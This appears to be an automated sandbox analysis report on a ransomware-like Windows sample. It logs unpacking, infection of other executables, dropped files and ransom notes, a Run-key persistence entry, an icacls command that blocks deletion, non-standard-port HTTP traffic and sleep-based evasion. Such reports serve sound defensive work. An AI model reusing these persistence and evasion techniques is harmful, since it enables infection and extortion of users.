Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\n source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.logxs source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\e\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctC19B.tmp.8.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Unpacked PE file: 2.2.lvAVrO.exe.600000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;s`Xuj:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;s`Xuj:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;s`Xuj:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Unpacked PE file: 15.2.lvAVrO.exe.f0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;s`Xuj:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Unpacked PE file: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_00416AE0 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_00416AE0

Source: initial sample

Static PE information: section where entry point is pointing to: s`Xuj

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Static PE information: section name: s`Xuj
Source: lvAVrO.exe.0.dr	Static PE information: section name: .aspack
Source: lvAVrO.exe.0.dr	Static PE information: section name: .adata
Source: Uninstall.exe.2.dr	Static PE information: section name: EpNuZ
Source: MyProg.exe.2.dr	Static PE information: section name: PELIB
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.2.dr	Static PE information: section name: u
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.4.dr	Static PE information: section name: s`Xuj

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00408DE0 push ecx; mov dword ptr [esp], 00000002h	0_2_00408DE1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00408DB2 push ecx; mov dword ptr [esp], 00000000h	0_2_00408DC1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00408E10 push ecx; mov dword ptr [esp], 00000000h	0_2_00408E11
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_021DC0AF push ecx; retf	0_2_021DC0B2
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02298F05 push ecx; ret	0_2_02298F18
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_00601638 push dword ptr [00603084h]; ret	2_2_0060170E
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_0060600A push ebp; ret	2_2_0060600D
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_00606014 push 006014E1h; ret	2_2_00606425
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_00602D9B push ecx; ret	2_2_00602DAB
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022070AF push ecx; retf	6_2_022070B2
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022C8F05 push ecx; ret	6_2_022C8F18
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_021A70AF push ecx; retf	7_2_021A70B2
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02288F05 push ecx; ret	7_2_02288F18

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Static PE information: section name: s`Xuj entropy: 6.934563810995938
Source: lvAVrO.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: Uninstall.exe.2.dr	Static PE information: section name: EpNuZ entropy: 6.934392449341446
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR entropy: 6.9348123332319425
Source: SciTE.exe.2.dr	Static PE information: section name: u entropy: 6.934553060907294
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.4.dr	Static PE information: section name: s`Xuj entropy: 6.934563810995938

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\tmpB82F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\wctC19B.tmp.kkia (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\wctC19B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\tmpB82F.tmp.kkia (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.kkia (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54345 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54346 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54347 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54349 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 54351 -> 799

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_021DA71C rdtsc

0_2_021DA71C

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

4_2_0040E670

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmpB82F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wctC19B.tmp.kkia (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wctC19B.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmpB82F.tmp.kkia (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\chrome.exe.kkia (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-1048

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_4-42950

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe TID: 2816	Thread sleep time: -900000s >= -30000s
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe TID: 6928	Thread sleep count: 183 > 30

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Code function: 2_2_00601718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 00601754h

2_2_00601718

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_006029E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	2_2_006029E2
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Code function: 2_2_00602B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

2_2_00602B8C

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
